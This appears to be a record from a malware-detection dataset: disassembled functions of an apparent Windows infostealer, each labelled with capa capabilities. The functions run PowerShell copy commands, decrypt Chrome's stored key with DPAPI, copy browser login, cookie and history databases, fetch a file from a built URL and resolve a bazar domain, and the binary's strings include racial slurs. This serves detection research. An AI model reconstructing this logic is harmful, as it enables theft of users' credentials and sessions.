joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402cd0
Capabilities:
Contain obfuscated stackstrings
Execute command
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov dword [esp + 8], 0x442460
mov dword [esp + 4], str.powershell_dir__s____null
lea eax, [ebp - 0x148]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x148]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x402e63
mov dword [esp + 4], 0x42248d
mov dword [esp], str.microsoft.com
call sym._get_http_headers
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x152], 0x6f6d6962
mov dword [ebp - 0x14e], 0x6c68746e
mov word [ebp - 0x14a], 0x79
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x152]
mov dword [esp], eax
call sym._get_current_ip
mov dword [ebp - 0x14], eax
mov dword [esp + 0xc], str.AppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2tx
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.C:Users_s_s411x_48kj.md
lea eax, [ebp - 0x40e]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0xc], str.ca22update.md
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.https:___s__s
lea eax, [ebp - 0x27e]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._free
lea eax, [ebp - 0x40e]
mov dword [esp + 4], eax
lea eax, [ebp - 0x27e]
mov dword [esp], eax
call sym._download_file
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x402dec
mov dword [esp], str.Create_crawler_batch_failed
call sym._puts
mov dword [esp + 4], 0x422b2b
lea eax, [ebp - 0x40e]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x402e1e
mov dword [esp], str.Curl_file_not_downloaded
call sym._puts
mov eax, 1
jmp 0x402e68
mov dword [esp + 0xc], str.AppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2tx
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.C:Users_s_scurl.exe
lea eax, [ebp - 0x346]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x346]
mov dword [esp + 4], eax
lea eax, [ebp - 0x40e]
mov dword [esp], eax
call sym._rename
mov eax, 0
jmp 0x402e68
mov eax, 0
leave
ret

Function at 0x402e6a
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
call sym._get_uid
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0x442060
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.powershell_mv_C:Users_s_s_boot.txt__s_s_boot.txt
lea eax, [ebp - 0x204]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
lea eax, [ebp - 0x204]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x402ed9
mov eax, 0
jmp 0x402ede
mov eax, 1
leave
ret
Function at 0x4032dd
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov dword [ebp - 0xc], 0x4234d4
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x403342
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4234d8
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sym._sprintf_1
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x403342
mov dword [esp], 0x4234e1
call sym._puts
mov eax, 0
leave
ret

Function at 0x403349
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x18], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x442940
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.reg_export__s_C:Users_sAppDataLocalTemp_s_s_s.reg
lea eax, [ebp - 0x70]
mov dword [esp], eax
call sym._sprintf_1
lea eax, [ebp - 0x70]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4033b0
mov dword [esp], str.Reg_export_failed
call sym._puts
mov eax, 1
jmp 0x4033b5
mov eax, 0
leave
ret

Function at 0x4033b7
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.REG_QUERY__s
lea eax, [ebp - 0x2a]
mov dword [esp], eax
call sym._sprintf_1
lea eax, [ebp - 0x2a]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4033f2
mov eax, 0
jmp 0x4033f7
mov eax, 1
leave
ret

Function at 0x4033f9
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
mov dword [ebp - 0x10], 3
mov dword [ebp - 0xc], 0
jmp 0x40349a
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*8 + 0x41f16c]
mov dword [esp + 4], str._Command_dir
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x403496
mov eax, dword [ebp - 0xc]
mov edx, dword [eax*8 + 0x41f168]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*8 + 0x41f16c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp + 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__cp__s__s_files_s_
lea eax, [ebp - 0xae]
mov dword [esp], eax
call sym._sprintf_1
lea eax, [ebp - 0xae]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x40348f
mov eax, 0
jmp 0x4034ab
mov eax, 1
jmp 0x4034ab
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
jb 0x403415
mov eax, 0
leave
ret
Function at 0x403560
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__cp__s__s_files_s_
lea eax, [ebp - 0xa2]
mov dword [esp], eax
call sym._sprintf_1
lea eax, [ebp - 0xa2]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4035b2
mov eax, 0
jmp 0x4035b7
mov eax, 1
leave
ret

Function at 0x403625
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x118]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1c
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call eax
sub esp, 0x14
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathAppendA]
call eax
sub esp, 8
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4036d8
mov eax, 0
jmp 0x403783
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x11c], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSize]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x11c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x14], eax
je 0x403770
mov dword [esp], 0x4235b0
call sym._printf_1
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x4037f7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x2a], 0x636e6522
mov dword [ebp - 0x26], 0x74707972
mov dword [ebp - 0x22], 0x6b5f6465
mov dword [ebp - 0x1e], 0x3a227965
mov word [ebp - 0x1a], 0x22
lea eax, [ebp - 0x2a]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strstr
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0xc], 0
jne 0x403856
mov eax, 0
jmp 0x4038d0
lea eax, [ebp - 0x2a]
mov dword [esp], eax
call sym._strlen
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + 8], eax
mov dword [esp + 4], 0x22
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strchr
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40388d
mov eax, 0
jmp 0x4038d0
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._strncpy
mov eax, dword [ebp - 0x14]
leave
ret
Function at 0x4038d2
Capabilities:
Decode data using base64 via winapi
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
lea edx, [ebp - 0x1c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call eax
sub esp, 0x1c
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
lea edx, [ebp - 0x1c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call eax
sub esp, 0x1c
add dword [ebp - 0x10], 5
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x2c]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
call eax
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x2c]
shl eax, 2
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0xc], 0
jmp 0x403a3f
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sx_02x
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._sprintf_2
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0xc], eax
jb 0x403a0f
mov eax, dword [ebp - 0x18]
leave
ret

Function at 0x403a79
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__s___s_____null
lea eax, [ebp - 0x200]
mov dword [esp], eax
call sym._sprintf_3
lea eax, [ebp - 0x200]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x403ac4
mov eax, 0
jmp 0x403ac9
mov eax, 1
leave
ret
Function at 0x403d2b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strncpy
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1a
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call eax
sub esp, 0x14
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strncat
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sProfiles
lea eax, [ebp - 0x74]
mov dword [esp], eax
call sym._sprintf_4
lea eax, [ebp - 0x74]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathAppendA]
call eax
sub esp, 8
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathAppendA]
call eax
sub esp, 8
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x403e4c
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], str.gecko
mov dword [esp + 0xc], 0x442a40
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__cp__s__s_s_s_
lea eax, [ebp - 0xd4]
mov dword [esp], eax
call sym._sprintf_4
lea eax, [ebp - 0xd4]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x403ea7
mov eax, 0
jmp 0x403eac
mov eax, 1
leave
ret
Function at 0x404c43
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov dword [ebp - 0x8a], 0x6d6f432d
mov dword [ebp - 0x86], 0x646e616d
mov dword [ebp - 0x82], 0x69642020
mov word [ebp - 0x7e], 0x72
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sLocal_State
lea eax, [ebp - 0x7c]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x8a]
mov dword [esp + 4], eax
lea eax, [ebp - 0x7c]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x404cb2
mov eax, 1
jmp 0x404d45
lea eax, [ebp - 0x7c]
mov dword [esp], eax
call sym._GetChromeKey
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x404ccd
mov eax, 1
jmp 0x404d45
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.chrome
mov dword [esp + 8], 0x442ac0
mov dword [esp + 4], str._s_s_s_local_state
lea eax, [ebp - 0xee]
mov dword [esp], eax
call sym._sprintf_5
mov dword [esp + 4], 0x423fcd
lea eax, [ebp - 0xee]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fputs
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
cmp dword [ebp - 0x18], 0
je 0x404d40
mov eax, 1
jmp 0x404d45
mov eax, 0
leave
ret

Function at 0x404d47
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov dword [ebp - 0x81], 0x6d6f432d
mov dword [ebp - 0x7d], 0x646e616d
mov dword [ebp - 0x79], 0x72696420
mov byte [ebp - 0x75], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_sLogin_Data
lea eax, [ebp - 0x74]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x81]
mov dword [esp + 4], eax
lea eax, [ebp - 0x74]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x404db2
mov eax, 1
jmp 0x404e09
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], str.chrome
mov dword [esp + 0xc], 0x442ac0
lea eax, [ebp - 0x74]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell___cp__s__s_s_s_login_data_db_
lea eax, [ebp - 0xe5]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0xe5]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x404e04
mov eax, 1
jmp 0x404e09
mov eax, 0
leave
ret
Function at 0x404e0b
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov dword [ebp - 0x81], 0x6d6f432d
mov dword [ebp - 0x7d], 0x646e616d
mov dword [ebp - 0x79], 0x72696420
mov byte [ebp - 0x75], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_sHistory
lea eax, [ebp - 0x74]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x81]
mov dword [esp + 4], eax
lea eax, [ebp - 0x74]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x404e76
mov eax, 1
jmp 0x404ecd
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], str.chrome
mov dword [esp + 0xc], 0x442ac0
lea eax, [ebp - 0x74]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__cp__s__s_s_s_webhistory_db_
lea eax, [ebp - 0xe5]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0xe5]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x404ec8
mov eax, 1
jmp 0x404ecd
mov eax, 0
leave
ret

Function at 0x404ecf
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d8
mov dword [ebp - 0xe5], 0x6d6f432d
mov dword [ebp - 0xe1], 0x646e616d
mov dword [ebp - 0xdd], 0x72696420
mov byte [ebp - 0xd9], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_sHistory
lea eax, [ebp - 0xd8]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0xe5]
mov dword [esp + 4], eax
lea eax, [ebp - 0xd8]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x404f49
mov eax, 1
jmp 0x404fa3
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], str.chrome
mov dword [esp + 0xc], 0x442ac0
lea eax, [ebp - 0xd8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__cp__s__s_s_s_downloads_db_
lea eax, [ebp - 0x1ad]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x1ad]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x404f9e
mov eax, 1
jmp 0x404fa3
mov eax, 0
leave
ret
Function at 0x404fa5
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
mov dword [ebp - 0xe5], 0x6d6f432d
mov dword [ebp - 0xe1], 0x646e616d
mov dword [ebp - 0xdd], 0x72696420
mov byte [ebp - 0xd9], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_sNetworkCookies
lea eax, [ebp - 0xd8]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0xe5]
mov dword [esp + 4], eax
lea eax, [ebp - 0xd8]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40501f
mov eax, 1
jmp 0x405079
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], str.chrome
mov dword [esp + 0xc], 0x442ac0
lea eax, [ebp - 0xd8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__cp__s__s_s_s_cookies_db_
lea eax, [ebp - 0x149]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x149]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x405074
mov eax, 1
jmp 0x405079
mov eax, 0
leave
ret

Function at 0x40507b
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov dword [ebp - 0x81], 0x6d6f432d
mov dword [ebp - 0x7d], 0x646e616d
mov dword [ebp - 0x79], 0x72696420
mov byte [ebp - 0x75], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_sWeb_Data
lea eax, [ebp - 0x74]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x81]
mov dword [esp + 4], eax
lea eax, [ebp - 0x74]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4050e6
mov eax, 1
jmp 0x40513d
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], str.chrome
mov dword [esp + 0xc], 0x442ac0
lea eax, [ebp - 0x74]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell__cp__s__s_s_s_web_data_db_
lea eax, [ebp - 0xe5]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0xe5]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x405138
mov eax, 1
jmp 0x40513d
mov eax, 0
leave
ret
Function at 0x405933
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [esp], 0xfa0
call sym._malloc
mov dword [ebp - 0xc], eax
mov dword [esp + 4], str._Status_:0__TC_:false__RD_:true__RA_:true__AD_:false__CD_:false__Question_:__name_:_jstash.bazar.___type_:1___Answer_:__name_:_jstash.bazar.___type_:1__TTL_:3600__Expires_:_Thu__18_Jul_2024_15:38:59_UTC___data_:_fAJ_S2Nld0l_WA____edns_client_subnet_:_204.188.233.0_0_
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], str.Answer
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strstr
test eax, eax
jne 0x4059b1
mov dword [esp], str.Glow_nigger_not_there__nigger
call sym._printf_5
mov dword [ebp - 0x2e], 0x44206f4e
mov dword [ebp - 0x2a], 0x7220534e
mov dword [ebp - 0x26], 0x6c6f7365
mov dword [ebp - 0x22], 0x2c646576
mov dword [ebp - 0x1e], 0x61764920
mov word [ebp - 0x1a], 0x6e
mov eax, 0
jmp 0x405a55
mov dword [esp], str.Theres_a_glowie__n
call sym._printf_5
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.win32op.exe_cJSON_Parse_4
sub esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], str.Badoodo_mongo:__s_n
call sym._printf_5
cmp dword [ebp - 0x10], 0
jne 0x405a23
call sym.win32op.exe_cJSON_GetErrorPtr_0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x405a08
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], str.Error_nigger:__s_n
call sym._printf_5
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym.win32op.exe_cJSON_Delete_4
sub esp, 4
jmp 0x405a55
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._extractNestedFields_
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym.win32op.exe_cJSON_Delete_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], str.IN_DNS_RESOLVER_decoded_1:__s_n
call sym._printf_5
mov eax, dword [ebp - 0x14]
leave
ret

Function at 0x4066a9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0x43af09
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlen
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
mov eax, 0
leave
ret